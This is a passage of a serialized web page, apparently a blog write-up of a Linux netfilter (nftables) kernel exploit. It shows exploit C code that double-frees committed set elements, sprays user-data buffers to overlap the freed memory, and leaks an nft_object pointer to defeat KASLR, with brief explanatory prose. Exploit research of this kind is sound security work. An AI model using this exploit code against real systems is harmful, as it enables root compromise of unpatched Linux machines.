set\n",{"type":20,"tag":315,"props":52623,"children":52624},{"class":317,"line":453},[52625,52630,52634,52638,52642],{"type":20,"tag":315,"props":52626,"children":52627},{"style":328},[52628],{"type":26,"value":52629}," uint8_t desc[2] = {",{"type":20,"tag":315,"props":52631,"children":52632},{"style":765},[52633],{"type":26,"value":39264},{"type":20,"tag":315,"props":52635,"children":52636},{"style":328},[52637],{"type":26,"value":44},{"type":20,"tag":315,"props":52639,"children":52640},{"style":765},[52641],{"type":26,"value":39264},{"type":20,"tag":315,"props":52643,"children":52644},{"style":328},[52645],{"type":26,"value":14979},{"type":20,"tag":315,"props":52647,"children":52648},{"class":317,"line":486},[52649,52654,52658,52663],{"type":20,"tag":315,"props":52650,"children":52651},{"style":328},[52652],{"type":26,"value":52653}," set ",{"type":20,"tag":315,"props":52655,"children":52656},{"style":334},[52657],{"type":26,"value":337},{"type":20,"tag":315,"props":52659,"children":52660},{"style":345},[52661],{"type":26,"value":52662}," create_set",{"type":20,"tag":315,"props":52664,"children":52665},{"style":328},[52666],{"type":26,"value":353},{"type":20,"tag":315,"props":52668,"children":52669},{"class":317,"line":499},[52670,52675,52679,52684,52689,52693,52697],{"type":20,"tag":315,"props":52671,"children":52672},{"style":328},[52673],{"type":26,"value":52674}," batch, seq",{"type":20,"tag":315,"props":52676,"children":52677},{"style":334},[52678],{"type":26,"value":49521},{"type":20,"tag":315,"props":52680,"children":52681},{"style":328},[52682],{"type":26,"value":52683},", exploit_table_name, ",{"type":20,"tag":315,"props":52685,"children":52686},{"style":2652},[52687],{"type":26,"value":52688},"\"pwn_set\"",{"type":20,"tag":315,"props":52690,"children":52691},{"style":328},[52692],{"type":26,"value":44},{"type":20,"tag":315,"props":52694,"children":52695},{"style":765},[52696],{"type":26,"value":41921},{"type":20,"tag":315,"props":52698,"children":52699},{"style":328},[52700],{"type":26,"value":643},{"type":20,"tag":315,"props":52702,"children":52703},{"class":317,"line":513},[52704,52709,52713,52718,52722,52727,52731,52735,52739,52744,52749,52753,52757],{"type":20,"tag":315,"props":52705,"children":52706},{"style":328},[52707],{"type":26,"value":52708}," NFT_SET_INTERVAL ",{"type":20,"tag":315,"props":52710,"children":52711},{"style":334},[52712],{"type":26,"value":8816},{"type":20,"tag":315,"props":52714,"children":52715},{"style":328},[52716],{"type":26,"value":52717}," NFT_SET_OBJECT ",{"type":20,"tag":315,"props":52719,"children":52720},{"style":334},[52721],{"type":26,"value":8816},{"type":20,"tag":315,"props":52723,"children":52724},{"style":328},[52725],{"type":26,"value":52726}," NFT_SET_CONCAT, KEY_LEN, ",{"type":20,"tag":315,"props":52728,"children":52729},{"style":765},[52730],{"type":26,"value":1504},{"type":20,"tag":315,"props":52732,"children":52733},{"style":328},[52734],{"type":26,"value":44},{"type":20,"tag":315,"props":52736,"children":52737},{"style":334},[52738],{"type":26,"value":1490},{"type":20,"tag":315,"props":52740,"children":52741},{"style":328},[52742],{"type":26,"value":52743},"desc, ",{"type":20,"tag":315,"props":52745,"children":52746},{"style":541},[52747],{"type":26,"value":52748},"NULL",{"type":20,"tag":315,"props":52750,"children":52751},{"style":328},[52752],{"type":26,"value":44},{"type":20,"tag":315,"props":52754,"children":52755},{"style":765},[52756],{"type":26,"value":1063},{"type":20,"tag":315,"props":52758,"children":52759},{"style":328},[52760],{"type":26,"value":52761},", NFT_OBJECT_CT_EXPECT);\n",{"type":20,"tag":315,"props":52763,"children":52764},{"class":317,"line":521},[52765],{"type":20,"tag":315,"props":52766,"children":52767},{"emptyLinePlaceholder":15},[52768],{"type":26,"value":427},{"type":20,"tag":315,"props":52770,"children":52771},{"class":317,"line":552},[52772],{"type":20,"tag":315,"props":52773,"children":52774},{"style":1071},[52775],{"type":26,"value":52776}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":20,"tag":315,"props":52778,"children":52779},{"class":317,"line":571},[52780,52784,52788,52792,52797,52801,52805,52809,52813,52817,52821,52825],{"type":20,"tag":315,"props":52781,"children":52782},{"style":525},[52783],{"type":26,"value":1413},{"type":20,"tag":315,"props":52785,"children":52786},{"style":328},[52787],{"type":26,"value":463},{"type":20,"tag":315,"props":52789,"children":52790},{"style":541},[52791],{"type":26,"value":17451},{"type":20,"tag":315,"props":52793,"children":52794},{"style":328},[52795],{"type":26,"value":52796}," i ",{"type":20,"tag":315,"props":52798,"children":52799},{"style":334},[52800],{"type":26,"value":337},{"type":20,"tag":315,"props":52802,"children":52803},{"style":765},[52804],{"type":26,"value":985},{"type":20,"tag":315,"props":52806,"children":52807},{"style":328},[52808],{"type":26,"value":49485},{"type":20,"tag":315,"props":52810,"children":52811},{"style":334},[52812],{"type":26,"value":4199},{"type":20,"tag":315,"props":52814,"children":52815},{"style":765},[52816],{"type":26,"value":6330},{"type":20,"tag":315,"props":52818,"children":52819},{"style":328},[52820],{"type":26,"value":49516},{"type":20,"tag":315,"props":52822,"children":52823},{"style":334},[52824],{"type":26,"value":49521},{"type":20,"tag":315,"props":52826,"children":52827},{"style":328},[52828],{"type":26,"value":380},{"type":20,"tag":315,"props":52830,"children":52831},{"class":317,"line":2031},[52832],{"type":20,"tag":315,"props":52833,"children":52834},{"style":328},[52835],{"type":26,"value":27602},{"type":20,"tag":315,"props":52837,"children":52838},{"class":317,"line":2053},[52839,52844,52849,52853,52858],{"type":20,"tag":315,"props":52840,"children":52841},{"style":635},[52842],{"type":26,"value":52843}," elem",{"type":20,"tag":315,"props":52845,"children":52846},{"style":328},[52847],{"type":26,"value":52848},"[i] ",{"type":20,"tag":315,"props":52850,"children":52851},{"style":334},[52852],{"type":26,"value":337},{"type":20,"tag":315,"props":52854,"children":52855},{"style":345},[52856],{"type":26,"value":52857}," nftnl_set_elem_alloc",{"type":20,"tag":315,"props":52859,"children":52860},{"style":328},[52861],{"type":26,"value":568},{"type":20,"tag":315,"props":52863,"children":52864},{"class":317,"line":2061},[52865,52870,52875,52880,52884],{"type":20,"tag":315,"props":52866,"children":52867},{"style":345},[52868],{"type":26,"value":52869}," memset",{"type":20,"tag":315,"props":52871,"children":52872},{"style":328},[52873],{"type":26,"value":52874},"(key, ",{"type":20,"tag":315,"props":52876,"children":52877},{"style":765},[52878],{"type":26,"value":52879},"0x41",{"type":20,"tag":315,"props":52881,"children":52882},{"style":334},[52883],{"type":26,"value":7301},{"type":20,"tag":315,"props":52885,"children":52886},{"style":328},[52887],{"type":26,"value":52888}," i, KEY_LEN);\n",{"type":20,"tag":315,"props":52890,"children":52891},{"class":317,"line":2070},[52892,52897,52901,52905,52910,52915,52919,52924],{"type":20,"tag":315,"props":52893,"children":52894},{"style":345},[52895],{"type":26,"value":52896}," nftnl_set_elem_set",{"type":20,"tag":315,"props":52898,"children":52899},{"style":328},[52900],{"type":26,"value":1049},{"type":20,"tag":315,"props":52902,"children":52903},{"style":635},[52904],{"type":26,"value":50316},{"type":20,"tag":315,"props":52906,"children":52907},{"style":328},[52908],{"type":26,"value":52909},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":20,"tag":315,"props":52911,"children":52912},{"style":2652},[52913],{"type":26,"value":52914},"\"pwnobj\"",{"type":20,"tag":315,"props":52916,"children":52917},{"style":328},[52918],{"type":26,"value":44},{"type":20,"tag":315,"props":52920,"children":52921},{"style":765},[52922],{"type":26,"value":52923},"7",{"type":20,"tag":315,"props":52925,"children":52926},{"style":328},[52927],{"type":26,"value":2214},{"type":20,"tag":315,"props":52929,"children":52930},{"class":317,"line":2139},[52931,52935,52939,52943,52948,52952],{"type":20,"tag":315,"props":52932,"children":52933},{"style":345},[52934],{"type":26,"value":52896},{"type":20,"tag":315,"props":52936,"children":52937},{"style":328},[52938],{"type":26,"value":1049},{"type":20,"tag":315,"props":52940,"children":52941},{"style":635},[52942],{"type":26,"value":50316},{"type":20,"tag":315,"props":52944,"children":52945},{"style":328},[52946],{"type":26,"value":52947},"[i], NFTNL_SET_ELEM_KEY, ",{"type":20,"tag":315,"props":52949,"children":52950},{"style":334},[52951],{"type":26,"value":1490},{"type":20,"tag":315,"props":52953,"children":52954},{"style":328},[52955],{"type":26,"value":52956},"key, KEY_LEN);\n",{"type":20,"tag":315,"props":52958,"children":52959},{"class":317,"line":2147},[52960,52964,52968,52972,52977,52981],{"type":20,"tag":315,"props":52961,"children":52962},{"style":345},[52963],{"type":26,"value":52896},{"type":20,"tag":315,"props":52965,"children":52966},{"style":328},[52967],{"type":26,"value":1049},{"type":20,"tag":315,"props":52969,"children":52970},{"style":635},[52971],{"type":26,"value":50316},{"type":20,"tag":315,"props":52973,"children":52974},{"style":328},[52975],{"type":26,"value":52976},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":20,"tag":315,"props":52978,"children":52979},{"style":334},[52980],{"type":26,"value":1490},{"type":20,"tag":315,"props":52982,"children":52983},{"style":328},[52984],{"type":26,"value":52985},"udata_buf, size);\n",{"type":20,"tag":315,"props":52987,"children":52988},{"class":317,"line":2177},[52989,52994,52999,53003],{"type":20,"tag":315,"props":52990,"children":52991},{"style":345},[52992],{"type":26,"value":52993}," nftnl_set_elem_add",{"type":20,"tag":315,"props":52995,"children":52996},{"style":328},[52997],{"type":26,"value":52998},"(set, ",{"type":20,"tag":315,"props":53000,"children":53001},{"style":635},[53002],{"type":26,"value":50316},{"type":20,"tag":315,"props":53004,"children":53005},{"style":328},[53006],{"type":26,"value":53007},"[i]);\n",{"type":20,"tag":315,"props":53009,"children":53010},{"class":317,"line":2185},[53011],{"type":20,"tag":315,"props":53012,"children":53013},{"style":328},[53014],{"type":26,"value":1736},{"type":20,"tag":315,"props":53016,"children":53017},{"class":317,"line":2217},[53018],{"type":20,"tag":315,"props":53019,"children":53020},{"style":328},[53021],{"type":26,"value":8718},{"type":20,"tag":315,"props":53023,"children":53024},{"class":317,"line":2225},[53025],{"type":20,"tag":315,"props":53026,"children":53027},{"emptyLinePlaceholder":15},[53028],{"type":26,"value":427},{"type":20,"tag":315,"props":53030,"children":53031},{"class":317,"line":2285},[53032],{"type":20,"tag":315,"props":53033,"children":53034},{"style":328},[53035],{"type":26,"value":53036}," // TRANSACTION 3\n",{"type":20,"tag":315,"props":53038,"children":53039},{"class":317,"line":7444},[53040],{"type":20,"tag":315,"props":53041,"children":53042},{"style":328},[53043],{"type":26,"value":8718},{"type":20,"tag":315,"props":53045,"children":53046},{"class":317,"line":7462},[53047],{"type":20,"tag":315,"props":53048,"children":53049},{"style":328},[53050],{"type":26,"value":53051}," set = nftnl_set_alloc();\n",{"type":20,"tag":315,"props":53053,"children":53054},{"class":317,"line":7507},[53055,53060],{"type":20,"tag":315,"props":53056,"children":53057},{"style":345},[53058],{"type":26,"value":53059}," nftnl_set_set_u32",{"type":20,"tag":315,"props":53061,"children":53062},{"style":328},[53063],{"type":26,"value":53064},"(set, NFTNL_SET_FAMILY, family);\n",{"type":20,"tag":315,"props":53066,"children":53067},{"class":317,"line":7613},[53068,53073],{"type":20,"tag":315,"props":53069,"children":53070},{"style":345},[53071],{"type":26,"value":53072}," nftnl_set_set_str",{"type":20,"tag":315,"props":53074,"children":53075},{"style":328},[53076],{"type":26,"value":53077},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":20,"tag":315,"props":53079,"children":53080},{"class":317,"line":21914},[53081,53085,53090,53094],{"type":20,"tag":315,"props":53082,"children":53083},{"style":345},[53084],{"type":26,"value":53072},{"type":20,"tag":315,"props":53086,"children":53087},{"style":328},[53088],{"type":26,"value":53089},"(set, NFTNL_SET_NAME, ",{"type":20,"tag":315,"props":53091,"children":53092},{"style":2652},[53093],{"type":26,"value":52688},{"type":20,"tag":315,"props":53095,"children":53096},{"style":328},[53097],{"type":26,"value":2214},{"type":20,"tag":315,"props":53099,"children":53100},{"class":317,"line":21949},[53101],{"type":20,"tag":315,"props":53102,"children":53103},{"emptyLinePlaceholder":15},[53104],{"type":26,"value":427},{"type":20,"tag":315,"props":53106,"children":53107},{"class":317,"line":21957},[53108],{"type":20,"tag":315,"props":53109,"children":53110},{"style":1071},[53111],{"type":26,"value":53112}," // make priv->dirty true\n",{"type":20,"tag":315,"props":53114,"children":53115},{"class":317,"line":21965},[53116,53121,53125,53130],{"type":20,"tag":315,"props":53117,"children":53118},{"style":345},[53119],{"type":26,"value":53120}," memset",{"type":20,"tag":315,"props":53122,"children":53123},{"style":328},[53124],{"type":26,"value":52874},{"type":20,"tag":315,"props":53126,"children":53127},{"style":765},[53128],{"type":26,"value":53129},"0xff",{"type":20,"tag":315,"props":53131,"children":53132},{"style":328},[53133],{"type":26,"value":53134},", KEY_LEN);\n",{"type":20,"tag":315,"props":53136,"children":53137},{"class":317,"line":21974},[53138,53143,53147,53151,53155,53159,53163],{"type":20,"tag":315,"props":53139,"children":53140},{"style":635},[53141],{"type":26,"value":53142}," elem",{"type":20,"tag":315,"props":53144,"children":53145},{"style":328},[53146],{"type":26,"value":2117},{"type":20,"tag":315,"props":53148,"children":53149},{"style":765},[53150],{"type":26,"value":15698},{"type":20,"tag":315,"props":53152,"children":53153},{"style":328},[53154],{"type":26,"value":7057},{"type":20,"tag":315,"props":53156,"children":53157},{"style":334},[53158],{"type":26,"value":337},{"type":20,"tag":315,"props":53160,"children":53161},{"style":345},[53162],{"type":26,"value":52857},{"type":20,"tag":315,"props":53164,"children":53165},{"style":328},[53166],{"type":26,"value":568},{"type":20,"tag":315,"props":53168,"children":53169},{"class":317,"line":22016},[53170,53175,53179,53183,53187,53191,53196,53200,53204,53208],{"type":20,"tag":315,"props":53171,"children":53172},{"style":345},[53173],{"type":26,"value":53174}," nftnl_set_elem_set",{"type":20,"tag":315,"props":53176,"children":53177},{"style":328},[53178],{"type":26,"value":1049},{"type":20,"tag":315,"props":53180,"children":53181},{"style":635},[53182],{"type":26,"value":50316},{"type":20,"tag":315,"props":53184,"children":53185},{"style":328},[53186],{"type":26,"value":2117},{"type":20,"tag":315,"props":53188,"children":53189},{"style":765},[53190],{"type":26,"value":15698},{"type":20,"tag":315,"props":53192,"children":53193},{"style":328},[53194],{"type":26,"value":53195},"], NFTNL_SET_ELEM_OBJREF, ",{"type":20,"tag":315,"props":53197,"children":53198},{"style":2652},[53199],{"type":26,"value":52914},{"type":20,"tag":315,"props":53201,"children":53202},{"style":328},[53203],{"type":26,"value":44},{"type":20,"tag":315,"props":53205,"children":53206},{"style":765},[53207],{"type":26,"value":52923},{"type":20,"tag":315,"props":53209,"children":53210},{"style":328},[53211],{"type":26,"value":2214},{"type":20,"tag":315,"props":53213,"children":53214},{"class":317,"line":22049},[53215,53219,53223,53227,53231,53235,53240,53244],{"type":20,"tag":315,"props":53216,"children":53217},{"style":345},[53218],{"type":26,"value":53174},{"type":20,"tag":315,"props":53220,"children":53221},{"style":328},[53222],{"type":26,"value":1049},{"type":20,"tag":315,"props":53224,"children":53225},{"style":635},[53226],{"type":26,"value":50316},{"type":20,"tag":315,"props":53228,"children":53229},{"style":328},[53230],{"type":26,"value":2117},{"type":20,"tag":315,"props":53232,"children":53233},{"style":765},[53234],{"type":26,"value":15698},{"type":20,"tag":315,"props":53236,"children":53237},{"style":328},[53238],{"type":26,"value":53239},"], NFTNL_SET_ELEM_KEY, ",{"type":20,"tag":315,"props":53241,"children":53242},{"style":334},[53243],{"type":26,"value":1490},{"type":20,"tag":315,"props":53245,"children":53246},{"style":328},[53247],{"type":26,"value":52956},{"type":20,"tag":315,"props":53249,"children":53250},{"class":317,"line":22057},[53251,53256,53260,53264,53268,53272],{"type":20,"tag":315,"props":53252,"children":53253},{"style":345},[53254],{"type":26,"value":53255}," nftnl_set_elem_add",{"type":20,"tag":315,"props":53257,"children":53258},{"style":328},[53259],{"type":26,"value":52998},{"type":20,"tag":315,"props":53261,"children":53262},{"style":635},[53263],{"type":26,"value":50316},{"type":20,"tag":315,"props":53265,"children":53266},{"style":328},[53267],{"type":26,"value":2117},{"type":20,"tag":315,"props":53269,"children":53270},{"style":765},[53271],{"type":26,"value":15698},{"type":20,"tag":315,"props":53273,"children":53274},{"style":328},[53275],{"type":26,"value":2136},{"type":20,"tag":315,"props":53277,"children":53278},{"class":317,"line":22065},[53279],{"type":20,"tag":315,"props":53280,"children":53281},{"style":328},[53282],{"type":26,"value":8718},{"type":20,"tag":315,"props":53284,"children":53285},{"class":317,"line":22074},[53286],{"type":20,"tag":315,"props":53287,"children":53288},{"emptyLinePlaceholder":15},[53289],{"type":26,"value":427},{"type":20,"tag":315,"props":53291,"children":53292},{"class":317,"line":22150},[53293],{"type":20,"tag":315,"props":53294,"children":53295},{"style":328},[53296],{"type":26,"value":53297}," // double-free commited elems\n",{"type":20,"tag":315,"props":53299,"children":53300},{"class":317,"line":22183},[53301],{"type":20,"tag":315,"props":53302,"children":53303},{"style":328},[53304],{"type":26,"value":8718},{"type":20,"tag":315,"props":53306,"children":53307},{"class":317,"line":22191},[53308,53313,53317],{"type":20,"tag":315,"props":53309,"children":53310},{"style":328},[53311],{"type":26,"value":53312}," nftnl_set_free(",{"type":20,"tag":315,"props":53314,"children":53315},{"style":322},[53316],{"type":26,"value":49271},{"type":20,"tag":315,"props":53318,"children":53319},{"style":328},[53320],{"type":26,"value":2214},{"type":20,"tag":315,"props":53322,"children":53323},{"class":317,"line":22199},[53324],{"type":20,"tag":315,"props":53325,"children":53326},{"style":328},[53327],{"type":26,"value":577},{"type":20,"tag":315,"props":53329,"children":53330},{"class":317,"line":22236},[53331],{"type":20,"tag":315,"props":53332,"children":53333},{"style":328},[53334],{"type":26,"value":8718},{"type":20,"tag":219,"props":53336,"children":53338},{"id":53337},"leaking-kaslr",[53339],{"type":26,"value":53340},"Leaking KASLR",{"type":20,"tag":29,"props":53342,"children":53343},{},[53344,53346,53352,53354,53359,53361,53367,53369,53375,53377],{"type":26,"value":53345},"Tables contain an outline user data buffer ",{"type":20,"tag":119,"props":53347,"children":53349},{"className":53348},[],[53350],{"type":26,"value":53351},"udata",{"type":26,"value":53353}," that we can both read and write. By allocating a ",{"type":20,"tag":119,"props":53355,"children":53357},{"className":53356},[],[53358],{"type":26,"value":53351},{"type":26,"value":53360}," buffer on the double-free slot and then overlapping it with an ",{"type":20,"tag":119,"props":53362,"children":53364},{"className":53363},[],[53365],{"type":26,"value":53366},"nft_object",{"type":26,"value":53368}," we can leak the ",{"type":20,"tag":119,"props":53370,"children":53372},{"className":53371},[],[53373],{"type":26,"value":53374},"->ops",{"type":26,"value":53376}," pointer, and use it to calculate the KASLR slide.\n",{"type":20,"tag":2308,"props":53378,"children":53380},{"alt":48830,"src":53379},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":20,"tag":305,"props":53382,"children":53384},{"className":27525,"code":53383,"language":27527,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[53385],{"type":20,"tag":119,"props":53386,"children":53387},{"__ignoreMap":7},[53388,53395,53403,53438,53445,53453,53478,53505,53556,53563,53596,53622,53629,53694,53701,53722,53729,53736,53744,53752,53773,53802,53814,53858,53914],{"type":20,"tag":315,"props":53389,"children":53390},{"class":317,"line":318},[53391],{"type":20,"tag":315,"props":53392,"children":53393},{"style":328},[53394],{"type":26,"value":8718},{"type":20,"tag":315,"props":53396,"children":53397},{"class":317,"line":356},[53398],{"type":20,"tag":315,"props":53399,"children":53400},{"style":328},[53401],{"type":26,"value":53402}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":20,"tag":315,"props":53404,"children":53405},{"class":317,"line":365},[53406,53411,53415,53420,53425,53430,53434],{"type":20,"tag":315,"props":53407,"children":53408},{"style":328},[53409],{"type":26,"value":53410}," udata_spray(",{"type":20,"tag":315,"props":53412,"children":53413},{"style":322},[53414],{"type":26,"value":52542},{"type":20,"tag":315,"props":53416,"children":53417},{"style":328},[53418],{"type":26,"value":53419},", 0",{"type":20,"tag":315,"props":53421,"children":53422},{"style":322},[53423],{"type":26,"value":53424},"xe8",{"type":20,"tag":315,"props":53426,"children":53427},{"style":328},[53428],{"type":26,"value":53429},", 0, 3, ",{"type":20,"tag":315,"props":53431,"children":53432},{"style":322},[53433],{"type":26,"value":52748},{"type":20,"tag":315,"props":53435,"children":53436},{"style":328},[53437],{"type":26,"value":2214},{"type":20,"tag":315,"props":53439,"children":53440},{"class":317,"line":374},[53441],{"type":20,"tag":315,"props":53442,"children":53443},{"emptyLinePlaceholder":15},[53444],{"type":26,"value":427},{"type":20,"tag":315,"props":53446,"children":53447},{"class":317,"line":383},[53448],{"type":20,"tag":315,"props":53449,"children":53450},{"style":1071},[53451],{"type":26,"value":53452}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":20,"tag":315,"props":53454,"children":53455},{"class":317,"line":407},[53456,53461,53466,53470,53474],{"type":20,"tag":315,"props":53457,"children":53458},{"style":541},[53459],{"type":26,"value":53460}," char",{"type":20,"tag":315,"props":53462,"children":53463},{"style":635},[53464],{"type":26,"value":53465}," spray_name",{"type":20,"tag":315,"props":53467,"children":53468},{"style":328},[53469],{"type":26,"value":2117},{"type":20,"tag":315,"props":53471,"children":53472},{"style":765},[53473],{"type":26,"value":39264},{"type":20,"tag":315,"props":53475,"children":53476},{"style":328},[53477],{"type":26,"value":29989},{"type":20,"tag":315,"props":53479,"children":53480},{"class":317,"line":421},[53481,53485,53489,53493,53497,53501],{"type":20,"tag":315,"props":53482,"children":53483},{"style":541},[53484],{"type":26,"value":53460},{"type":20,"tag":315,"props":53486,"children":53487},{"style":334},[53488],{"type":26,"value":8216},{"type":20,"tag":315,"props":53490,"children":53491},{"style":635},[53492],{"type":26,"value":53351},{"type":20,"tag":315,"props":53494,"children":53495},{"style":328},[53496],{"type":26,"value":2117},{"type":20,"tag":315,"props":53498,"children":53499},{"style":765},[53500],{"type":26,"value":15698},{"type":20,"tag":315,"props":53502,"children":53503},{"style":328},[53504],{"type":26,"value":29989},{"type":20,"tag":315,"props":53506,"children":53507},{"class":317,"line":430},[53508,53512,53516,53520,53524,53528,53532,53536,53540,53544,53548,53552],{"type":20,"tag":315,"props":53509,"children":53510},{"style":525},[53511],{"type":26,"value":1413},{"type":20,"tag":315,"props":53513,"children":53514},{"style":328},[53515],{"type":26,"value":463},{"type":20,"tag":315,"props":53517,"children":53518},{"style":541},[53519],{"type":26,"value":17451},{"type":20,"tag":315,"props":53521,"children":53522},{"style":328},[53523],{"type":26,"value":52796},{"type":20,"tag":315,"props":53525,"children":53526},{"style":334},[53527],{"type":26,"value":337},{"type":20,"tag":315,"props":53529,"children":53530},{"style":765},[53531],{"type":26,"value":985},{"type":20,"tag":315,"props":53533,"children":53534},{"style":328},[53535],{"type":26,"value":49485},{"type":20,"tag":315,"props":53537,"children":53538},{"style":334},[53539],{"type":26,"value":4199},{"type":20,"tag":315,"props":53541,"children":53542},{"style":765},[53543],{"type":26,"value":17503},{"type":20,"tag":315,"props":53545,"children":53546},{"style":328},[53547],{"type":26,"value":49516},{"type":20,"tag":315,"props":53549,"children":53550},{"style":334},[53551],{"type":26,"value":49521},{"type":20,"tag":315,"props":53553,"children":53554},{"style":328},[53555],{"type":26,"value":380},{"type":20,"tag":315,"props":53557,"children":53558},{"class":317,"line":453},[53559],{"type":20,"tag":315,"props":53560,"children":53561},{"style":328},[53562],{"type":26,"value":27602},{"type":20,"tag":315,"props":53564,"children":53565},{"class":317,"line":486},[53566,53571,53576,53581,53586,53591],{"type":20,"tag":315,"props":53567,"children":53568},{"style":345},[53569],{"type":26,"value":53570}," snprintf",{"type":20,"tag":315,"props":53572,"children":53573},{"style":328},[53574],{"type":26,"value":53575},"(spray_name, ",{"type":20,"tag":315,"props":53577,"children":53578},{"style":541},[53579],{"type":26,"value":53580},"sizeof",{"type":20,"tag":315,"props":53582,"children":53583},{"style":328},[53584],{"type":26,"value":53585},"(spray_name), ",{"type":20,"tag":315,"props":53587,"children":53588},{"style":2652},[53589],{"type":26,"value":53590},"\"spray-%i\"",{"type":20,"tag":315,"props":53592,"children":53593},{"style":328},[53594],{"type":26,"value":53595},", i);\n",{"type":20,"tag":315,"props":53597,"children":53598},{"class":317,"line":499},[53599,53604,53608,53612,53617],{"type":20,"tag":315,"props":53600,"children":53601},{"style":635},[53602],{"type":26,"value":53603}," udata",{"type":20,"tag":315,"props":53605,"children":53606},{"style":328},[53607],{"type":26,"value":52848},{"type":20,"tag":315,"props":53609,"children":53610},{"style":334},[53611],{"type":26,"value":337},{"type":20,"tag":315,"props":53613,"children":53614},{"style":345},[53615],{"type":26,"value":53616}," getudata",{"type":20,"tag":315,"props":53618,"children":53619},{"style":328},[53620],{"type":26,"value":53621},"(nl, spray_name);\n",{"type":20,"tag":315,"props":53623,"children":53624},{"class":317,"line":513},[53625],{"type":20,"tag":315,"props":53626,"children":53627},{"style":328},[53628],{"type":26,"value":1736},{"type":20,"tag":315,"props":53630,"children":53631},{"class":317,"line":521},[53632,53636,53640,53644,53648,53652,53656,53660,53664,53668,53673,53677,53681,53685,53689],{"type":20,"tag":315,"props":53633,"children":53634},{"style":525},[53635],{"type":26,"value":10680},{"type":20,"tag":315,"props":53637,"children":53638},{"style":328},[53639],{"type":26,"value":463},{"type":20,"tag":315,"props":53641,"children":53642},{"style":635},[53643],{"type":26,"value":53351},{"type":20,"tag":315,"props":53645,"children":53646},{"style":328},[53647],{"type":26,"value":2117},{"type":20,"tag":315,"props":53649,"children":53650},{"style":765},[53651],{"type":26,"value":1063},{"type":20,"tag":315,"props":53653,"children":53654},{"style":328},[53655],{"type":26,"value":47209},{"type":20,"tag":315,"props":53657,"children":53658},{"style":765},[53659],{"type":26,"value":1063},{"type":20,"tag":315,"props":53661,"children":53662},{"style":328},[53663],{"type":26,"value":7057},{"type":20,"tag":315,"props":53665,"children":53666},{"style":334},[53667],{"type":26,"value":538},{"type":20,"tag":315,"props":53669,"children":53670},{"style":635},[53671],{"type":26,"value":53672}," udata",{"type":20,"tag":315,"props":53674,"children":53675},{"style":328},[53676],{"type":26,"value":2117},{"type":20,"tag":315,"props":53678,"children":53679},{"style":765},[53680],{"type":26,"value":1504},{"type":20,"tag":315,"props":53682,"children":53683},{"style":328},[53684],{"type":26,"value":47209},{"type":20,"tag":315,"props":53686,"children":53687},{"style":765},[53688],{"type":26,"value":1063},{"type":20,"tag":315,"props":53690,"children":53691},{"style":328},[53692],{"type":26,"value":53693},"])\n",{"type":20,"tag":315,"props":53695,"children":53696},{"class":317,"line":552},[53697],{"type":20,"tag":315,"props":53698,"children":53699},{"style":328},[53700],{"type":26,"value":27602},{"type":20,"tag":315,"props":53702,"children":53703},{"class":317,"line":571},[53704,53709,53713,53718],{"type":20,"tag":315,"props":53705,"children":53706},{"style":345},[53707],{"type":26,"value":53708}," puts",{"type":20,"tag":315,"props":53710,"children":53711},{"style":328},[53712],{"type":26,"value":1049},{"type":20,"tag":315,"props":53714,"children":53715},{"style":2652},[53716],{"type":26,"value":53717},"\"[+] got duplicated table\"",{"type":20,"tag":315,"props":53719,"children":53720},{"style":328},[53721],{"type":26,"value":2214},{"type":20,"tag":315,"props":53723,"children":53724},{"class":317,"line":2031},[53725],{"type":20,"tag":315,"props":53726,"children":53727},{"style":328},[53728],{"type":26,"value":1736},{"type":20,"tag":315,"props":53730,"children":53731},{"class":317,"line":2053},[53732],{"type":20,"tag":315,"props":53733,"children":53734},{"emptyLinePlaceholder":15},[53735],{"type":26,"value":427},{"type":20,"tag":315,"props":53737,"children":53738},{"class":317,"line":2061},[53739],{"type":20,"tag":315,"props":53740,"children":53741},{"style":1071},[53742],{"type":26,"value":53743}," // Replace one of the udata buffers with nft_object\n",{"type":20,"tag":315,"props":53745,"children":53746},{"class":317,"line":2070},[53747],{"type":20,"tag":315,"props":53748,"children":53749},{"style":1071},[53750],{"type":26,"value":53751}," // and read it's counterpart to leak the nft_object struct\n",{"type":20,"tag":315,"props":53753,"children":53754},{"class":317,"line":2139},[53755,53760,53764,53769],{"type":20,"tag":315,"props":53756,"children":53757},{"style":345},[53758],{"type":26,"value":53759}," puts",{"type":20,"tag":315,"props":53761,"children":53762},{"style":328},[53763],{"type":26,"value":1049},{"type":20,"tag":315,"props":53765,"children":53766},{"style":2652},[53767],{"type":26,"value":53768},"\"[*] Info leak\"",{"type":20,"tag":315,"props":53770,"children":53771},{"style":328},[53772],{"type":26,"value":2214},{"type":20,"tag":315,"props":53774,"children":53775},{"class":317,"line":2147},[53776,53781,53786,53790,53794,53798],{"type":20,"tag":315,"props":53777,"children":53778},{"style":345},[53779],{"type":26,"value":53780}," deludata_spray",{"type":20,"tag":315,"props":53782,"children":53783},{"style":328},[53784],{"type":26,"value":53785},"(nl, ",{"type":20,"tag":315,"props":53787,"children":53788},{"style":765},[53789],{"type":26,"value":1063},{"type":20,"tag":315,"props":53791,"children":53792},{"style":328},[53793],{"type":26,"value":44},{"type":20,"tag":315,"props":53795,"children":53796},{"style":765},[53797],{"type":26,"value":2406},{"type":20,"tag":315,"props":53799,"children":53800},{"style":328},[53801],{"type":26,"value":2214},{"type":20,"tag":315,"props":53803,"children":53804},{"class":317,"line":2177},[53805,53810],{"type":20,"tag":315,"props":53806,"children":53807},{"style":345},[53808],{"type":26,"value":53809}," 